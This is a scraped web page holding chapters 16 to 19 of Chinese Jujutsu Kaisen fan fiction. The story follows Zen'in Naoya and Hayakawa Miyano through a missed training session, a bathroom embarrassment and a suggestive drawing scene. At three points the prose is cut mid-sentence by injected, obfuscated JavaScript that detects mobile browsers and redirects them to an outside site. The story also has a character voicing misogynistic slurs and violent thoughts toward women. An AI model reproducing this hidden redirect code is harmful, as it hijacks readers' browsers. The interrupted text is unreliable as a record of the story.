“真是笨死了。” 禅院直哉走过去,拿过绳子:“我只教最后一遍,看清楚了。” 早川宫野褐色的瞳孔亮了亮,乖巧点头。还没等直哉伸手,已经张开手臂,对着他点了点下巴,示意快点。 “……” 除了有一点让直哉不爽。 就是早川宫野下意识的动作,明明他才是主导者,早川总是一副……等着他来伺候的表情。 禅院直哉忍住不悦,弯腰拿绳子绕过早川的前腰。 ———好细…… 第一遍系的时候直哉还没有察觉,现在一看,总感觉一只手就能环住一样。 再往上,是显露弧度的胸部。 禅院直哉移开眼,绕过对方的胳膊,十字交叉的系在后背。 不过女人还是得找会生育的,像早川这种细腰的,顶多玩玩就行了。 做完一切后,禅院直哉看着早川后背完美的十字交叉,满意的勾起一个弧度。 “行了,真是麻烦死了。” “哇,真的非常方便欸,直哉少爷好厉害呢。” 禅院直哉不屑的轻哼一声,嘴角的弧度却越来越大,眼神都不自觉的瞟到另一边。 “被夸的这么开心吗,直哉君。” 早川宫野笑眯眯,褐色的瞳孔弯了弯,轻轻开口。 “真可爱……” 禅院直哉刚刚上扬的嘴角唰的一下就掉下来了。 “啧……蠢货,说了不要和男人夸可爱啊!” “欸,可是真的很可爱嘛,像被摸摸头了的小狗一样摇尾巴呢。” “喂!!” 禅院直哉第一万零一次想—— 他果然还是最讨厌早川宫野这个蠢女人了。 16.第十六章 京都的夏季总是意外的长,好在今年的气温并不算太高。 因为天气炎热的缘故,训练课从每周三次变成了每周一次。 一开始早川宫野还会去,但随着温度升高,每一次进训练场还得找禅院直哉申请,后面干脆就慢慢的直接选择旷课了。 毕竟夏天真的很炎热啊…… 已经旷课三周的早川宫野躺在客厅的摇摇椅上,连接花园巨大的落地窗刚好照映出一簇簇绣球花的模样,在一片绿茵茵的草地上格外显眼。 “早川大人,要准备去上课了哦。” 侍女端来已经冰镇好的西瓜放在矮桌旁。早川宫野哦了一声,并不急着起身,而是侧身拿起叉子,戳进散发冷气的西瓜块中。 自从她和禅院直哉关系不错后,自己在禅院家的待遇也是越发好起来了。 可以开一整个夏天的空调不说,因为上一次直哉来吃饭嫌弃院里台阶太丑,所以还把整个院子都命人翻新了一遍。 “这个请给直哉少爷也一起带过去吧,就当是谢……哎呀,早川大人,您怎么还躺在这里?” 侍女拿着什么东西从房间走过来,无奈的看着她:“今天不是要和直哉少爷一起训练吗?等会少爷生气就不好啦!” 早川宫野嘴里塞着西瓜,胡乱的点头。 唯一麻烦的就是几乎自己每一次出门,侍女们都非要她带些东西给禅院直哉。 要么是糕点,要么是一些训练后降温的冷饮和扇子。 并且全部都是两人份的。 第一次早川宫野并不知道侍女在她的包里放了这些,拿出来左右端详了好一会才无所谓的耸耸肩,自顾自的打开。心里还感慨着不愧是她院子里的侍女,知道一盒吃不饱,特意装了两盒。 直到晚上回屋时,才被侍女惊呼那是给她和禅院直哉一起准备的。 怪不得自己当时吃的时候,禅院直哉总是一副欲言又止的瞟她,问他怎么了又板着脸不说话。 “这次装的是什么?”早川宫野问道:“冰镇的酒吗?” “大人现在还不可以喝酒哦。是冰镇的西瓜和荔枝呢。” 啊……西瓜啊。 早川宫野看着自己面前已经差不多快见底的西瓜,委婉提出意见:“我已经吃了很久西瓜了,可以换一个吗?我不太想再吃西瓜了。” “不是给早川大人准备的哦!” 侍女敲了敲她的头,力度却非常轻:“等训练完后,一定会非常热,早川大人这个时候把已经冰镇好的西瓜端给直哉少爷,少爷一定会非常开心的。” 侍女伸出一根手指,笑道:“说不定会对我们早川大人更加上心的呢!” “欸……” 早川宫野咂巴咂巴嘴,又重新躺下,手里百无聊赖翻着画册。侍女准备的差不多后,又嘱咐了她几句。 “我知道了,这一次我不会全部吃掉或者只给直哉两块的。” 在家的早川宫野显得比平时懒散的更多,像是被夏天融化了一样。 与其说懒散,倒不如说这才是早川宫野最真实的她。 对什么都一副无所谓的模样,只有看见有趣的人和事物时才会露出玩味的笑意,打起精神细细观察挑逗。 侍女离开后,早川宫野看着放在矮桌上的铁盒,伸出手。 里面的水果被摆出精致的模样,已经处理好果肉的荔枝晶莹剔透。刚从冷库拿出,还散发着冷气。 “嘶……” 早川宫野嘶了一声,迟疑片刻。 她真的,要全部给直哉君带过去吗? 明明每一颗都晶莹剔透的都喊着“快吃掉我吧~”“现在就快吃掉我吧~”。 虽然她已经放了禅院直哉两次鸽子了,上一次上文化课还被对方逮住问为什么训练课不来。 但是…… 早川宫野抬起头,看向外面的烈日。 仅仅两秒后,早川拿起盒中的荔枝,抛向口中。 为了有一个更舒服的姿势,她甚至平躺下身,拿画稿遮住眼睛,一副准备开始睡下午觉的姿势。 ———嘛……既然已经放了直哉两次鸽子了,那就再放一起凑够三次吧。 毕竟像直哉君那么聪明的人,一定不会傻傻的站在太阳底下看着入口的方向等她吧。 早川宫野这样想着,已经昏昏欲睡起来了。 ———— 夏季的室内和室外完全不像一个夏天。 禅院直哉站在烈日之下,第五次看向训练场的入口。 他的后背已经被汗水全部浸湿,临走前打理的头发也因为温度,而粘黏黏的贴在额头上。 禅院直哉穿着一件亚麻色青海波羽织,原本还配有腰间的装饰,但因为太热了,被直哉扯下丢在地上。 训练已经开始差不多十五分钟了,中间有陆陆续续企图和他搭话邀请的旁系。一开始禅院直哉还会用不屑扫视的眼光冷笑,随着铃声响起后,时间一分一秒的过去,在所有人都已经和自己的搭档开始训练时——— 只有禅院直哉第一个落单。 他还记得那天抓住准备离开的早川宫野时,对方信誓旦旦、露出十分抱歉的歉笑和他说:“下次一定会来的”的话语。 四周并没人敢发出讥笑,但那种看似唯唯诺诺却幸灾乐祸的表情… 禅院直哉熟悉到不能再熟悉了。 明明温度直逼三十五度,禅院直哉的手却冰凉的不像话。 额前粘住的碎发挡住他的眼眸,只能看见他攥紧拳头,垂着头站在训练场的中央,让人看不清表情。 “那个,直哉少爷,我觉得早川君应该不会来了。您要不要和我……” 旁系谄媚的靠近他,搓着手讪笑着。话还未能说完,禅院直哉突然抬起眸。 那双不带有一丝温度的琥珀色瞳孔,刀尖一般阴冷地狠狠刮过他。 明明在盛夏,旁系却浑身发抖,笑容凝固,一动不敢动。 “那、那个!” “滚远些。” ———贱人。 禅院直哉看都没看他一眼,径直撞开旁系,大步朝门外走去。 ———早川宫野这个…… 敢欺骗他的贱女人! 他大步走向早川院里,羽织掀起两旁的花,被袖口扇落了好几朵。来来往往的侍女纷纷让路,低着头不敢看他。 禅院直哉一脚踹开早川的院门,推开阻挡他的侍女。 他用力的推开门,原本是想看见早川,不管她在干什么,都先上前扇她一巴掌或者打她一拳的。 但迎面而来的冷空气的凉意,以及室内异常安静的环境,让禅院直哉下意识的皱起眉。 ———这么安静? 他眯了眯瞳孔,反手关上门。 室内的空调温度恰到好处,像一块冰般的贴近他。冷冷的吹在身上异常舒服。 不知道是不是空调的缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597522|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故,以至于他远远的看见客厅里睡觉的女人时,心底那份想要立刻掐死她的烦躁,此时此刻并不强烈。 被翻新后的院子非常宽阔,大平层一样有着正对花园的落地窗,院外的绣球花开的正艳,可以看见外面仍跪在地上的侍女们。 禅院直哉只是没有很想立刻掐死她了而已,但想掐死她的心依然并未改变。 他缓步走近,在早川宫野身后停下。 早川宫野似乎睡得十分安稳。 画稿挡在眼上,平稳呼吸而起伏的胸口。她蜷曲侧放着双腿,衬托出腰部纤细的曲线,以及脖颈间白皙的皮肤。 因为穿着白色的睡裙,毛茸茸卷曲的头发又散开在肩膀上。 ……倒还真的像一只乖巧的小羊羔呢。 禅院直哉的双手拢在袖口,他似乎想到了什么,连自己都没有察觉的弯了弯嘴角。 但几秒后,他迅速反应过来,琥珀色的瞳孔微眯,脸上又恢复了面无表情的阴沉。 “啪!”的一声,直哉抬手,打掉了挡在早川宫野眼睛上的画稿。 剧烈的阳光刺入她的眼膜,早川宫野迷迷糊糊睁开眼,直到看见了一脸不悦,站在她头顶上的禅院直哉。 “嗯…?” 她眨动了一下迷茫的眼睛:“是直哉君啊…怎么了,下课了吗?” 一副毫无歉意可言的样子,让禅院直哉原本就是不悦的脸色上更是雪上加霜。 “你今天为什么没去?” “去什么?啊……训练课吗?” 早川宫野从躺椅上站起身,伸手用发绳系住头发,丝毫没有因为自己的失约而愧疚:“就是睡过了啰……夏天就是会容易犯困呢。” 她打了个哈欠,突然微蹙起眉,手指抵住鼻子,挑起一边眉。 “训练很辛苦呢直哉君呢……结束训练后直接就到我这里来了吗?侍女没带换洗的衣物?” 早川宫野的这个动作和话语意思非常明显。 他在太阳下暴晒了那么久,早就汗流浃背,刚才又风风火火的赶来…… ——但不都还是因为早川这个贱女人! 现在居然还有脸反咬他一口!? 被人如此直白的做出捏鼻和嫌弃的话语,是禅院直哉从未有过的。 且不说他没有如此失态的场景,纵然真的有什么不妥当的地方,就比如上一次被早川宫野溅到身上的茶渍———众人也都是假装没看见,绝对不会当场说出让他尴尬的话。 啧…… 又是早川宫野… 上一次失态是因为她,这一次又是——! 禅院直哉攥紧拳头,因为第一次被对方直言出自己的尴尬,而只是咬着牙,脸上一阵青一阵白。 早川宫野没在说什么,只是走近房间,拿出一套叠好的衣服递给他。 “喏,去换洗一下好了。刚好你上次借我的羽织也在我这里,已经洗好了。” “……” 禅院直哉不语,只是冷眼看着她。 “干什么这种眼神看着我。” 早川宫野笑道,推着禅院直哉朝浴室的方向走去:“放心好啦,我不会偷偷看直哉君洗澡的哦,只是身上被汗液弄的粘黏黏的的确会很不舒服的。” “啧…” 禅院直哉打开早川推着她的手,面露不耐:“别推我。” 早川举起手,妥协的点点头,临走前还贴心的为他关上了浴室的门。 17.第十七章 暗色大理石板的地面落上水渍,虽然是在偏院,但光线意外的不错。 磨砂的玻璃隐约之间可以看见外面草地的轮廓。 禅院直哉打开花洒,温和的水流顺着他的发丝滑下。因为炙热而蓬勃充血的肌肉在适度的凉意下也快速冷却下来。 早川宫野的浴室和他的布局有些不一样,浴缸和淋浴的地方是放置在一起的,镂空的墙体里放着各种瓶瓶罐罐。 “沐浴露洗发露…护发素…身体乳…磨砂膏……啧…都什么乱七八糟的。” 禅院直哉拿起一只小瓶子,不由的扯出一个讥笑。左右细看一番后,他伸手扔回储物架中。 瓶子像保龄球的球体一样,砸倒了好几个其他的玻璃瓶。 禅院直哉不再关注早川一些乱七八糟的东西,他伸手接了一捧水,扑在脸上。 其实一开始,在早川提出淋浴的建议时,禅院直哉是迟疑的。 且不说男女共处一室是不妥当的。早川虽是私生女,但到底也是禅院家的人。没有什么比一个女人的贞洁更重要的事情了。 不贞洁的女人,重则丢掉咒灵堆处死,轻则关押在地牢里折磨致死。 他倒是没什么,作为未来家主,三妻四妾本是常事,纵然和早川宫野传出了些什么,也只是反胃觉得恶心而已。 他原本还保留一丝迟疑,但看见早川宫野那么主动,又是催促着他进屋又是给他拿衣服的。 “哈……” 淋浴的水流弱了些,禅院直哉两腿站开,睁开琥珀色的瞳孔。 ———说到底……还是早川这个女人过于放荡啊。 该不会训练这三次放他鸽子,也是早川宫野计划的一部分吧? 知晓他会生气气恼,所以故意在这里等着他吗? 关上花洒后,禅院直哉站在洗漱台的镜子前,伸手理了理发丝。 清凉后的他心情意外的不错,尤其在得知早川宫野为了吸引他做出的各种小动作后,心情不由的大好。 他对着镜子抬了抬下颚,唇边是似笑非笑的表情。 禅院直哉伸出手,摸向衣柜。 嗯…? 直哉从镜子前移开眼,看向衣柜。 空空如也的衣柜里,只有最上层放着一件白色蕾丝边的吊带睡裙。 禅院直哉的大脑嗡的一声震住了—— 他把衣服放在浴室外的柜子里了。 “妈的……” 他咬住下唇,咒骂一声。 都怪早川宫野,刚才非要推着进去,害得他误以为是在自己家的浴室,顺手就放在外面的衣柜里了。 直哉左顾右盼,把目光停留在最上层的睡裙上。 乳白的颜色,中间蕾丝的蝴蝶结,很长,大约刚好到他小腿的位置,胸部中间是光滑哑光的丝绸。 禅院直哉深深的蹙起眉,因为衣服都在外面当下处境尴尬的他根本无心细看。只是粗暴的把睡裙捏成一团,扔在角落里。 纵然一万个不情愿,但此时此刻别无他法的直哉,还是选择喊早川宫野。 他平复了一下心情,清了清喉咙,开口道:“早川。” 第一次无人回应,禅院直哉还以为是声音太小,但接连喊了好几声,都无人回应。 “不在外面嚒……” 他细细琢磨,这一次沐浴的时间的确比往常都要长一些,刚才找衣服又耽误了那么长时间。 以早川宫野每天无所事事混日子的生活,估计又去哪里找男人了吧。 “真贱。” 禅院直哉嘴上说着真贱,却勾起一丝笑意,窃喜自己的窘迫无人看见。 他拿过一旁的浴巾,裹在腰间。 ———— 早川宫野关上浴室的门后就出去了。 和侍女们解释安慰了几句,侍女吓的直拍胸脯,虽然有些生气早川宫野又旷课了的举动,但脸上并无不悦,还转身又拿了一碟冰荔枝给她。 早川宫野一边吃着剥好的荔枝,一边站在阴凉地看绣球。但看了一会,因为天气太热,还是回去了。 早川回客厅的时候,浴室里已经没有声音了。 似乎是刚关上水龙头,还残留着水珠滴滴答答的声音。 她转过摇椅,翘起腿。手里拿着冰荔枝,看着浴室的方向。 不知道刚才进去的时候,直哉君有没有注意到浴室门的玻璃是白油砂玻璃门。唔……这么说可能不好理解,总之就是可以隐约看见浴室里身体的轮廓,以及大体动作的半开放式玻璃门。 早川最开始来禅院的时候还没有注意,还是吐了禅院甚尔一身,他在里面洗澡时才注意到的。 而同理,如果外面的人站的比较近的话,里面的人也可以看见外面的轮廓和场景。 早川宫野眯了眯瞳孔,咬了一口荔枝。 不过……她已经不是之前那个趴在门框上,手里画笔刷刷到飞起,还惨被对方抓包的少女了哦? 以她现在这个距离,恰好能看见里面的轮廓,又不会被对方所发现。 早川勾起几丝笑意,懒散地靠在摇椅上。 浴室里的直哉已经不再对着镜子了,此时此刻的他正左顾右盼着什么,侧着身体面向衣柜的方向,伸手从上端拿下什么。 “我的睡裙吗…?” 早川宫野嘴角的笑意更大了。 说起来,如果能看到直哉君穿着吊带睡裙出来……一定会非常有意思的吧。 虽然禅院直哉和甚尔身体上的肌肉都不相上下,但比起甚尔还是肉眼可见的弱了些,体格都相差好一半了。 但怎么说呢……禅院直哉的肩部很宽,单看上身的比例可能不是最完美的,但因为腹部的薄肌,以及越往下的人鱼线,整体上非常协调呢。 再配上那种讥讽不屑的表情,倒也是别具一番风味。 “…早川。” 浴室里的人叫了她一声。 早川宫野撑着下巴,手里正拿着铅笔在本子上缓慢地勾勒着什么。她不急不慢,反倒兴致不错。 “喂,早川宫野。” 直哉又叫了她好几声。 早川宫野像是没看见一样,只是翘着腿,看着浴室里的场景。 ———只不过心情的确不错的,脚尖一上一下的轻轻点着地面。 咔吧—— 终于,随着一声轻响,浴室的门拉开一条缝。 禅院直哉攥着腰间浴巾,探出一个脑袋。在他目光所及的地方,的确看不见早川宫野的身影。 他全然没注意到洗漱台侧面,用于装饰的玻璃后——一双褐色的瞳孔正玩味地注视着他。 衣服放在浴室的右侧,也就是打开着的门后方最里面的柜子上。直哉必须完全打开并绕过门,才可以勉强伸手拿到衣服。 “该死的布局……” 直哉啧了一声,门的缝隙拉开了一些,在确认早川宫野的确不在房间后,他光着脚,踩在大理石的瓷砖上,完全打开门。 虽然早川不在房间里,但为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604771|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了避免突然回来或是被下人看见的场景。禅院直哉早就计算好了角度,他手疾眼快,迈出一条腿,一手抓着腰间的浴巾,一手直直的摸向后门的衣柜。 而就在这时,房间里响起熟悉的声音。 “直哉君。” 那道声音不大不小,却如同俯在他耳畔一般,甚至在喊他的名字时,尾音还轻柔地微微上扬。 禅院直哉瞬间僵硬住。 他也不知道是听见早川宫野声音的缘故,还是看见门后的衣柜此时此刻空空如也的缘故。 亦或者是,被最讨厌的人看见他赤裸着上身,浑身上下只用一条浴巾挡住,十分失礼的看见他张开双腿,伸手迫切的正在勾着什么东西。 但此时此刻的直哉,的的确确大脑停滞住了。 “……” ———该死的…… 贱女人!! 到底把他的衣服弄到哪里去了!? “你还好吗,直哉君?”她已经站在洗漱台前,侧目环抱着双臂。明明是安慰的话,但她充满笑意的眼底绝对毫无诚意。 禅院直哉似乎没有意识到自己此时此刻有多么狼狈。 因为刚才迈开了一大步的缘故,腰间的浴巾已经摇摇欲坠了,他未着寸缕,发丝都软软的塌在额前。 因为血液的膨胀,白皙皮肤上瞬间涨起的肌肉清晰可见,手臂的青筋脉络凸起。 以及———皮肤白的禅院直哉,此时此刻已经像红透了的苹果了。 不再单单是耳垂或者脖颈发红,而是全部、全身、一切———都在发红发烫。 他死死咬着牙,嘴唇几乎快被咬破,一副要将早川宫野活生生扑上前咬死的模样,却因为羞恼说不出一句话,只能用尽浑身力气,手里死死的攥住最后的尊严。 禅院直哉发誓。 如果早川宫野敢再像之前不知死活的出言戏弄他。 他一定会弄死她。 一定。 时间一分一秒的过去,在第十七秒后,靠在洗漱台的早川宫野闭上眼叹了一口气。 她越过他走近浴室,再出来时,禅院直哉的身上已经多了一件浴巾。 “在找衣服吗?在里面柜子的第二格哦,拉开滑门就可以看见。嗯……抱歉,可能是我当时没有和直哉君说清楚。下次我会放在显眼的地方的。” ……是早川放的衣服吗? 禅院直哉一片混乱。是了,当时被早川宫野推着进浴室后,的确是被她随手放在衣柜里了,不过她走的时候,为什么还要多此一举把衣柜的门关上? 直哉还没来得及细想,怀里已经被塞了衣服。 重新站在浴室里,换好衣服的禅院直哉看着镜子里的自己。 脸上和身体的发烫已经缓和的差不多了,唯有耳根的发烫还在持续。 只是让禅院直哉不适的是,早川宫野刚才居然没有出言调侃他? 明明是个喝水都盯着他喉结看的色女人,刚才那么好的机会,居然只是…… 直哉的视线缓慢转移到放在一旁的浴巾上。 ———居然只是进屋给他拿了浴巾替他盖上吗? 是担心屋里的冷气太冷,还是在假意维护他的尊严,不想让他太难堪? 明明前一个小时还毫不客气的说他身上有汗味,却在刚才只是默默的拿出浴巾和衣服吗? 禅院直哉垂眸看着已经乱成一团的浴巾好一会,才移开眼,表情不耐。 “啧……” 烦。 18.第十八章 换好衣服的直哉拉开门,早川从椅子上转过身。 禅院直哉的脸色并不好,他下垂着眼眸,面色紧绷,暗色的羽织贴身的穿在身上。 原先因为恼怒而涨红的脸已经恢复如常了,虽然还没有那么快切换回以往的不屑,但细看的话,依然能看见对方琥珀色眼眸中的冷意。 “的确很合身呢……直哉君果然非常适合穿羽织,而且也很少见直哉君穿这种纯色的……噫?怎么这种眼神看着我。” 接触到对方不善的眼神,不明所以的早川宫野笑道:“哎呀……我不会告诉别人的啦。况且本来也不是我的错吧,明明是直哉君自己没注意到柜子的右侧。” 禅院直哉不语,只是板着脸看她。 早川宫野无奈的叹口气:“好嘛好嘛,别生气了直哉君。我真的不会告诉别人的,这是我们两个人的秘密。” 她起身从抽屉拿过吹风机,像是讨好安抚性的晃了晃:“作为补偿,我可以替直哉君吹头发哦?头发上的水滴到羽织上就不好了。” 禅院直哉皱眉躲开她的手,冷冷拒绝:“不需要。” “欸……” 早川宫野拉长了语调,有些为难。 ———怎么办呢,禅院家的小少爷好像真的生气了耶。 虽然她的确一开始是故意把衣服放在暗门的那一边,还假装没听见直哉喊他,顺便还把他全身都看光了。 但也只是仅此而已吧。 明明甚尔就非常大方地还询问要不要再看一次,结果只是看了一眼直哉君就这样了吗。 不过…… 她看向坐在矮桌上的直哉。生气以这种方式闹脾气的直哉,倒是第一次见。 不同于以往的出言讥讽和嘲笑,而是自顾自一个人板着脸,避开她坐在离她最远的地方。还有些湿漉漉的头发底部滴着水,上层的头发稍微蓬松了些,但依然润润的像千层糕一样柔软的落在上面。 他也不说话,只是满脸不耐烦,浑身写着“滚开别碰我”的低气压。 因为是早川没见过的样子,所以就连生气也觉得格外可爱呢…… 像一只漆黑的小蛇,在主人伸出手指想要摸他时,因为抗拒而拱起身子,发出嘶嘶的声音警告的抖尾。 可爱到早川宫野下意识的都扬起几分嘴角了。 “你在外面为什么不说话。” 禅院直哉冷声道,琥珀色的瞳孔眯成一条缝,打断早川的思绪。 “我的确是在外面。”早川宫野眨巴眨巴眼睛:“但是直哉君你喊了我的名字一直不说是要干什么,所以我就只能一直等着后半句啰。” 像是没有预想到对方这样的回答,他定定地注视着她好一会,从鼻腔中泄出一丝不明所以的笑意。 “哈……真是油嘴滑舌啊,早川。” 他说道,依然是一如既往讥讽的嘴角:“贱死了。” 声音不大,但早川还是听的清清楚楚。她也不恼,依然拿着吹风机,若有若无勾着笑意走过去。 “我说的是事实,没有直哉君的命令我也不敢轻举妄动吧。况且……只是被看光了而已,作为一个画家,男性身体比例和特征我都已经很熟悉了。所以,与其让别人看见,倒不如让我看见更加安全和妥当哦。” “什么叫与其让别人看见……你是有什么毛病吗?” 禅院直哉像是又有生气的预兆了,用力打开早川准备碰触他发丝的手:“别碰我。” 别碰我的意思就是允许了给他吹头发,但是不可以碰他的发丝。 早川宫野“嗯嗯好好”的敷衍着点头,打开吹风机。 热风吹起他的发丝,眼前的视线被碎发挡住。 禅院直哉在家几乎是不用吹风机。 他不喜欢别人触碰他的身体,胳膊手臂这种就算了。但是像手指、耳垂、脖颈、发丝,这种比较隐私敏感的地方,哪怕是服侍他的侍女不小心碰到,他都会烦躁发出啧的不耐。 吹头发又麻烦又浪费时间,夏季这种天气,他出去转一圈头发就干了。 只不过纯属上一次他替早川系了襻搏的缘故,这一次让早川宫野像个下人一样给他吹头发,也算是一比一的讨要回来了。 “嘶。” 吹风机的热气离的有些近了,有些发烫灼烧着他的头皮,禅院直哉嘶了一声,回头不悦看了她一眼。 “抱歉啦……”早川宫野嘴上说着道歉的话语,却已经得寸进尺的伸出手拨弄他的发丝。 一开始还只是在拨弄,后面开了冷风,越发过分的张开整只手胡乱的在他头上摩挲起来。 等直哉回过神来时,对方的指尖已经插入他的发丝中了。 很轻柔… 很柔软。 并没有把他弄痛或是有什么不适,早川的手指很灵活,小而细腻的,像羽毛一样扫过。 ———该说早川不愧是有服侍人的天赋,天生伺候人的命吗? 居然……意外的还不错。 还是说,到底是外面来的私生女,伺候的把人弄舒服这方面到真是有一手。 直到冷气消散,吹风机的声音消失。禅院直哉睁开琥珀色的瞳孔。 早川宫野最后伸手理了理几根碎发,在收获到对方不耐烦的啧声后,才拔下插口。 “好了,真是非常漂亮呢直哉君。头发如果润润的就算是夏季还是会感冒的,下次也请记得吹干吧。” ———啰嗦。 禅院直哉眼底依然是不屑的眼神,听见夸赞后却已经微微勾起几丝嘴角。 他已经习惯早川宫野这个文化匮乏的文盲用词了,漂亮可爱这种词从来就不是用在一个男人身上的。 但总归是仰慕、夸赞他的话没错了。 “伺候人你还倒是真有一手啊,怎么,看样子在没进禅院那些年,在外面学了不少把人哄舒服的东西吧。” 被夸赞和仰慕的目光紧紧围绕的禅院直哉,此时此刻已经全然忘记刚才自己的狼狈和窘迫了。 他一脚踩在榻榻米下的台阶上,恢复以往的姿态,讥笑着,挑眉用下巴看向她。 早川宫野露出几分腼腆的笑意,嗯了好一会:“嗯……比起这个,其实只是因为喜欢直哉君,所以才愿意做这些事哦。” “……” 禅院直哉微愣。 原本只是讥笑讽刺对方,却没想到迎来的是对方突如其来的打直球。 似乎每一次都是这样,每每他想要讥讽她时,早川宫野总会用“因为喜欢”“所以才”的语句来增加他的愧疚心。 早川宫野一个人向他告白的话,几乎都快抵上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610428|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前所有向他告白的人的次数了。 这次甚至还说——是因为喜欢他,所以才愿意做这些事。 意思是…什么事都愿意为了他去做的意思吗? ———早川宫野这个人…难道随时随地根本不看场合的就突然开始告白吗! 因为喜欢……所以愿意……任何… 这几个大字突然从他的大脑一闪而过,不知道是不是早川宫野再一次突如其来的告白太直白的缘故,禅院直哉只觉得大脑乱了一秒,紧随其后的,是身上莫名腾起的热气。 “哈……哈!说得也是呢。” 他后知后觉,企图继续用讥讽来掩盖自己的慌乱:“毕竟像你这样平平无奇的女人,除了愿意为我做任何事外,也没有其他的用处了吧?” “啊……是呢。毕竟我没有像直哉大人那么强的咒力,也没有那么健硕的肌肉,也没有直哉大人那么有天赋和名气……” 早川宫野垂下眼眸,暗自神伤道。她从身后拿出一张纸,露出可怜兮兮怜悯的表情看着他:“但是直哉君平时也很忙,所以不知道可不可以画一张直哉大人的画像,想直哉大人的时候可以悄悄拿出来看一眼……” ———画像? 直哉听见这两个字还有些顾虑,尤其还是早川宫野的画,但既然是为了缓解思念,所以想要悄悄的…… 禅院直哉扯出一个嘴角。 也是啊……毕竟早川没有手机,照片也没有。只能卑劣的恳求他、让他施舍一点目光给她,最后像小老鼠一样躲在暗处,在看不见他的地方日日夜夜的反复看那张画像。 ———适当的给追求者一点甜头,是每一个上位者应该做的义务。 毕竟只有好好吊着,以后才有早川宫野心甘情愿给他当狗的机会呢…… “真是麻烦啊早川” 他居高临下,轻笑一声:“画快点知道吗?我很忙。” “太好了,谢谢直哉君哦!” 早川露出十分感激的笑容,坐下身,拿起笔。 “那么,请直哉君按照我说的姿势做吧。” 她扬起笑意,褐色的瞳孔闪过一丝狡黠,开口道:“身体向后仰,胳膊向后撑起身体,抬起头看着我。” “以及…两腿张开。” 刚做了一半动作的禅院直哉愣住。 “嘛,还是我来帮你吧,直哉君。”早川宫野起身,朝他走去。 已经躺下向后撑着身体的禅院直哉只差最后一步,他还在消化着早川宫野最后一句话,回过神来时,对方已经站在他小腿的方向。 “喂…!这什么该死的姿势…不是只是自画像而已吗!?” 直哉想要起身,却意外的发现这个姿势的他无法正常坐起,只能身侧倒在地上才能爬起。 “的确是自画像。会特别突出直哉君的脸的哦。” 早川宫野露出友善的微笑,迈出脚,膝盖挤开禅院直哉的腿,一点点分开。 “直哉大人应该不会害怕或者反口吧?如果感到恐惧了的话,我会停手的。” “啧……” 直哉发出烦躁的声音,却没有再开口说别的话。 “真厉害呢直哉大人……”早川宫野轻声夸赞,用着安抚宠物一般的语气。 “但是这里,还需要再张开一点哦。” 19.第十九章 禅院直哉维持了那个姿势很久。 久到手臂都开始发酸,支撑住身体的大腿开始打颤。 但都被他咬牙一一坚持了下来。 不知道是被早川捧的太高了,还是不断对他说出“喜欢”的话语太过于强烈了。尽管那个动作下意识的会有些羞耻,但他下身的裤裙很长,就算两腿张开也因为繁琐的布料而不会很明显。 所以他仍保留一丝侥幸。 尤其在早川宫野说出“是很正常的姿势而已啦,外面很多时尚大片的男明星都是这样摆的”后,内心的侥幸越发明显。 客厅的光线非常好,大平层一样的空间里,早川宫野坐在椅子上拿着板子,时不时抬起头看他一眼,继而又在纸上刷刷刷起来。 从某种层面来说,这应该是直哉第一次正面直视早川绘画。 不同于以往随意懒散的状态,会坐起身,后背挺的很直,抬眸看他的眼神非常快速且认真。 就像一个摄像机一样,精准把握他的每一个表情细节。视线会从他的脸开始,然后是领口,最后慢慢向下移动…… “看我。” 禅院直哉回过神,视线重新对上她。 早川宫野浅笑道:“不可以分心哦直哉君,会画崩的。” “啧……”直哉不耐,早知道要这么久,他当时只会头也不回离开的。 “还要多久啊?你未免也太慢了吧。” “马上哦,还差最后一点点。因为直哉君的脸很精致,所以在表情和细节上多花了一点时间呢。最后我再画一点阴影……唔,好了。” 早川宫野站起身,自己手里的作品一副看见卢浮宫里的蒙娜丽莎一般满意点点头。 她上了一步台阶。直哉本想伸出手让早川拉他起来,对方却先他一步,自顾自的拿起画稿,举到他眼前。 “喏,怎么样,超——不错的哦。” 画稿几乎要贴到他的脸上,直哉皱着眉,身体向后倒了倒。 画里是一个从下向上仰拍的视角,重点放大了他的脸。上挑的眼尾,不屑的眼神,居高临下的视线以及几分讥笑的嘴角。 ———倒也还是画出来了他千分之一的帅气嘛…… 直哉放宽了些眉眼,正准备也勾起唇,直到视线不断向下,突然咻的一声坐起身,眉头紧锁。 “这下面是怎么回事?” 他一把抢过早川手里的画稿。 “嗯?什么下面?” “我为什么没有衣服!” 画稿里,禅院直哉眼神轻蔑不屑,单看脸的确是一副正常到不能再正常的稿子。可偏偏完全赤裸着上身,甚至连腹部的肌肉和线条都画的异常清晰。 